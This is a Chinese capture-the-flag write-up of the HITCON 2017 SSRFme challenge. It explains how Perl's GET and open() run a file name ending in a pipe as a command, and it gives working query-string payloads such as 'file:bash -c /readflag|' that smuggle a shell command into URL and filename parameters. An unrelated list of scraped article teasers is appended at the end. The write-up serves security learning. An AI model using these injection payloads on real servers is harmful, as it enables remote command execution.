[HITCON 2017]SSRFme(perl脚本中get命令执行漏洞)

2023/11/30 4:06:14

目录

代码审计

思路

知识补充

PHP中$_SERVER的详细用法

 pathinfo() 函数

str_replace() 函数

escapeshellarg

peal函数中get命令漏洞

Perl中open命令执行(GET)


代码审计

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
?>
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

get请求获取 url值,并使用escapeshellarg函数将输入的url转码。之后shell_exec执行被escapeshellarg转码后的url参数值, 并将命令执行的结果存入data中,在后面的代码中,会将data(也就是这次命令执行的结果)放入我们传入的文件夹中。

 $dir  = str_replace(".", "", basename($info["dirname"]));

使用str_replace过滤 .,  不允许通过../的方式改变文件传输的位置。

思路

代码审计->尝试ssrf读取到根目录->perl语言中GET命令执行漏洞->构造命令执行payload->获得flag

1.先使用 ?url=/&filename=coleak
2.可以看到flag和readflag文件,flag在readflag里面 所以我们得执行readflag文件才能获得flag
构造以下语句
3.?url=&filename=bash -c /readflag| 创建一个文件夹 文件夹名为命令执行语句 内容为空
4.?url=file:bash -c /readflag|&filename=coleak2 通过命令执行,把执行完readflag获得的值存入到coleak2文件
5.访问/sandbox/md5/coleak2 获得flag
  • MD5加密

8bcc93f8583b23816c13f90a45c09f7e

  • 访问文件/sandbox/8bcc93f8583b23816c13f90a45c09f7e/coleak

发现readflag文件

  • MD5加密

2eeed2f9aeae6311b507ada8fb98809e

  • payload

?url=&filename=bash -c /readflag| 创建一个文件夹 文件夹名为命令执行语句 内容为空
?url=file:bash -c /readflag|&filename=coleak2 通过命令执行,把执行完readflag获得的值存入到coleak2文件

访问/sandbox/2eeed2f9aeae6311b507ada8fb98809e/coleak2

获得flag

知识补充

PHP中$_SERVER的详细用法

$_SERVER['PHP_SELF'] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER['argv'] #传递给该脚本的参数。
$_SERVER['argc'] #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。
$_SERVER['GATEWAY_INTERFACE'] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。
$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
$_SERVER['SERVER_SOFTWARE'] #服务器标识的字串,在响应请求时的头部中给出。
$_SERVER['SERVER_PROTOCOL'] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
$_SERVER['REQUEST_METHOD'] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。
$_SERVER['QUERY_STRING'] #查询(query)的字符串。
$_SERVER['DOCUMENT_ROOT'] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER['HTTP_ACCEPT'] #当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。
$_SERVER['HTTP_ACCEPT_ENCODING'] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。
$_SERVER['HTTP_ACCEPT_LANGUAGE']#当前请求的 Accept-Language: 头部的内容。例如:“en”。
$_SERVER['HTTP_CONNECTION'] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口。
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['REQUEST_URI'] #访问此页面所需的 URI。例如,“/index.html”。
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。
$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP

 pathinfo() 函数

pathinfo() 函数以数组的形式返回关于文件路径的信息。

返回的数组元素如下:

  • [dirname]: 目录路径
  • [basename]: 文件名
  • [extension]: 文件后缀名
  • [filename]: 不包含后缀的文件名
<?php
print_r(pathinfo("/testweb/test.txt"));
?>

上面的代码将输出:

Array
(
    [dirname] => /testweb
    [basename] => test.txt
    [extension] => txt
    [filename] => test
)

如果你只输入比如coleak.txt这样的filename,得到的$info['dirname']就只是一个点:. 

str_replace() 函数

str_replace(find,replace,string,count)
参数描述
find必需。规定要查找的值。
replace必需。规定替换 find 中的值的值。
string必需。规定被搜索的字符串。
count可选。对替换数进行计数的变量。
<?php
$arr = array("blue","red","green","yellow");
print_r(str_replace("red","pink",$arr,$i));
echo "替换数:$i";
?>

Array ( [0] => blue [1] => pink [2] => green [3] => yellow ) 替换数:1

escapeshellarg

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

peal函数中get命令漏洞

open函数在GET命令被调用时执行,漏洞就存在于open命令对于文件的处理上

关于这个漏洞,外国人有文章,是这样写的:
Perl saw that your “file” ended with a “pipe” character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”'s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.
翻译过来意思是:
perl函数看到要打开的文件名中如果以管道符结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

open(F,"id|"); print <F>; //vi test.pl

uid=0(root) gid=0(root) groups=0(root) //perl test.pl

Perl中open命令执行(GET)

  • 如果GET后面跟路径

直接获取文件或目录内容

  • 使用GET执行命令

GET底层实现使用的是open函数,而open函数可以执行命令,所以我们可以用GET来执行命令

当GET使用file协议的时候就会调用到perl的open函数

PS:必须得满足前面的文件存在才会命令执行,所以我们要创建一个与命令同名的文件


http://www.jnnr.cn/a/260584.html

相关文章

【FreeRTOS】详细讲解FreeRTOS的软件定时器及通过示例讲述其用法

软件定时器 所谓定时器&#xff0c;也就可以类比生活中人们常用的闹钟&#xff0c;可以单次响铃提醒&#xff0c;也可以间隔固定时间响铃提醒&#xff1b;与FreeRTOS定时器不同的是周期不同&#xff0c;FreeRTOS的周期更加短&#xff0c;一般使用毫秒(ms)、秒(s)。   软件定时…

【刷题】珠玑妙算

至此&#xff0c;我终于明白了哈希表真正的妙用。 目录 文章目录 前言 一、珠玑妙算 二、具体实现 1.哈希表的构建 2.总结规律 1&#xff09;给出两个字符串&#xff1a;"YBBY"&#xff0c;"GYYB"&#xff0c;构建哈希表&#xff1a;&#xff08;少猜了一个…

PaddleSeg图像分割预测pyinstaller打包报错:No module named ‘framework_pb2‘,问题解决

报错 在使用PaddlePaddle的FastDeploy部署图像分割时&#xff0c;需要验证目标电脑环境&#xff0c;所以先将预测代码predict.py用pyinstaller打包来试试&#xff0c;指令&#xff1a; pyinstaller -D predict.py 打包完成&#xff0c;成功生成exe 运行时报错如下&#xff1a;…

Visual Studio Code 的安装和使用

Visual Stuio Code 微软出的一款免费编辑器。 有 Windows、Linux 和macOS 三种版本的,属于跨平台的编辑器。它功能强大,支持插件工具安装,对于写代码、阅读代码的人来说是非常方便的。 1、安装 Visual Stuio Code 下载地址如下: https://code.visualstudio.com/ 以安装 Wi…

[架构之路-93]:《软件架构设计:程序员向架构师转型必备》-3-软件架构设计中的视图View

前言&#xff1a;同一个软件系统&#xff0c;从不同的视角View&#xff0c;得到不同的视觉和感受。所有的视角得到的视觉感受综合而成了整个系统的架构。有些视角是用眼睛看&#xff0c;有些视角是耳朵听&#xff0c;有些视角用探测器探。不同的人&#xff0c;视角不同&#xf…

拿下大厂Offer的关键——飞滴出行网约车项目全新完结

哈喽各位小伙伴&#xff0c;好久不见吖&#xff01;正月初八&#xff0c;你开工了吗&#xff1f;告别新春的氛围&#xff0c;又开始新一年的奋斗。尤其是年前的离职的小伙伴&#xff0c;马上又是金三银四&#xff0c;你的面试还要准备多久&#xff1f;今天给大家分享一份阿里大…

MySQL8.0版本怎样进行CentOS系统配置?

MySQL安装完成后&#xff0c;会自动配置为名称叫做&#xff1a;mysqld的服务&#xff0c;可以被systemctl所管理&#xff0c;我们在进行系统的配置时&#xff0c;主要修改root密码和允许root远程登录。 # 通过grep命令&#xff0c;在/var/log/mysqld.log文件中&#xff0c;过滤…

CnOpenData食品安全抽检数据

一、数据简介 食品安全是关乎人体生命健康的公共卫生问题。近年来&#xff0c;频繁发生的食品安全事件给人民的生命健康带来了巨大威胁&#xff0c;并成为人们关注的热点问题。   民以食为天&#xff0c;食以安为先。由于消费者和生产者之间存在信息不对称&#xff0c;完善…

【Linux】基础IO文件操作

目录 基础IO 重谈文件 重谈C语言的文件操作 系统文件IO 理解文件 文件描述符fd 0 & 1 & 2 文件描述符的分配规则 重定向 使用 dup2 系统调用 在minishell中添加重定向功能 缓冲区 理解缓冲区 再次理解缓冲区 基础IO 重谈文件 1、空文件&#xff0c;也要…

DW 2023年1月Free Excel 第九次打卡 Excel数据透视

第九章 Excel数据透视 数据下载地址与参考链接&#xff1a;https://d9ty988ekq.feishu.cn/docx/Wdqld1mVroyTJmxicTTcrfXYnDd 数据透视是Excel中个强大的数据处理和分析工具&#xff0c;能够快速实现数据的汇总与统计分析&#xff0c;本节重点讲解Excel数据透视的相关操作。 1…

卷积神经网络中的Conv层和BN层融合细节

BN层 批归一化层&#xff08;Batch Normallization&#xff09;是一种在卷积神经网络模型中大量使用&#xff0c;为了加速模型收敛的技术。为什么CNN 中引入 BN 层可以加速网络的收敛呢&#xff1f;因为将输入的样本数据或特征图&#xff0c;归一化后&#xff0c;改善了输入数…

PyQt5开发环境搭建 1.2 简单的例子

目录 基本开发步骤 创建Eric6工程目录 使用Qt Creator创建Qt项目 创建项目 Kit Selection 打开编辑窗口 打开form 放一个Label 拖动Label 放一个Button 拖动Push Button 保存UI文件 编译ui文件 当前项目下文件列表 将ui文件编译成py文件 将ui文件和py文件拷贝到…

AMQP 0-9-1 模型解释

官方文档链接&#xff1a;https://www.rabbitmq.com/tutorials/amqp-concepts.html 文章目录1. AMQP协议是什么2. AMQP模型2.1 工作过程2.2 深入理解3. 交换机3.1 默认交换机3.2 直连交换机3.3 扇形交换机3.4 主题交换机3.5 头交换机3.6 交换机小结4. Queue队列队列属性队列创建…

拉伯证券|2023年净利“超十倍潜力股”揭秘

本年成绩有望暴增的个股有哪些&#xff1f; 2022年各首要指数调整较大&#xff0c;但2023年开年以来A股体现继续强势&#xff0c;三大股指到目前涨幅均超5%&#xff0c;创业板指更是大涨超10%&#xff0c;医药、消费、科技等赛道轮番体现。 外资也对A股进行新一轮的加仓调仓&a…

c:out标签怎么是使用?

在JSP页面中&#xff0c;最常见的操作就是向页面输出一段文本信息&#xff0c;为此&#xff0c;Core标签库提供了一个<c:out>标签&#xff0c;该标签可以将一段文本内容或表达式的结果输出到客户端。如果<c:out>标签输出的文本内容中包含了需要进行转义的特殊字符&…

Redis学习笔记:慢查询,Pipeline,事务,乐观锁

本文是自己的学习笔记。主要参考资料如下&#xff1a; 马士兵 1、Redis的慢查询1.1、慢查询的相关参数1.1.1、设置阈值1.1.2、慢查询日志存储长度1.1.2.1、慢查询日志解析1.2、生产环境下慢查询的配置2、Pipeline2.1、简单的pipeline代码示例2.2、使用Pipeline的注意事项3、事务…

一起自学SLAM算法:12.3 autoware导航系统

连载文章&#xff0c;长期更新&#xff0c;欢迎关注&#xff1a; 上面介绍的ros-navigation和riskrrt导航系统主要都是用于机器人的低速导航&#xff0c;并且大多基于2D地图。而autoware导航系统主要用于无人驾驶汽车的高速导航&#xff0c;并且基于3D地图。除了所导航速度高一…

大公司为什么禁止SpringBoot项目使用Tomcat?

本文已经收录到Github仓库&#xff0c;该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点&#xff0c;欢迎star~ Github地址&#xff1a;https://github.com/…

【自学Docker 】Docker export命令

Docker export命令 概述 docker export教程 docker export 命令可以用于将 Docker容器 里的文件系统作为一个 tar 归档文件导出到标准输出。docker export 命令后面的 CONTAINER 可以是容器Id&#xff0c;或者是容器名。 docker save 命令用于将 Docker 镜像保存成 tar 包&a…

InfluxDB OSS v2.6.0安装使用小结(ubuntu Linux)

1 InfluxDB简介 InfluxDB是一款用Go语言编写的开源分布式时序、事件和指标数据库。 官网&#xff1a;https://www.influxdata.com 1.1 特色 InfluxDB的主要特色 1&#xff09;无结构&#xff08;无模式&#xff09;&#xff1a;可以是任意数量的列 2&#xff09;可拓展的 3&…
最新文章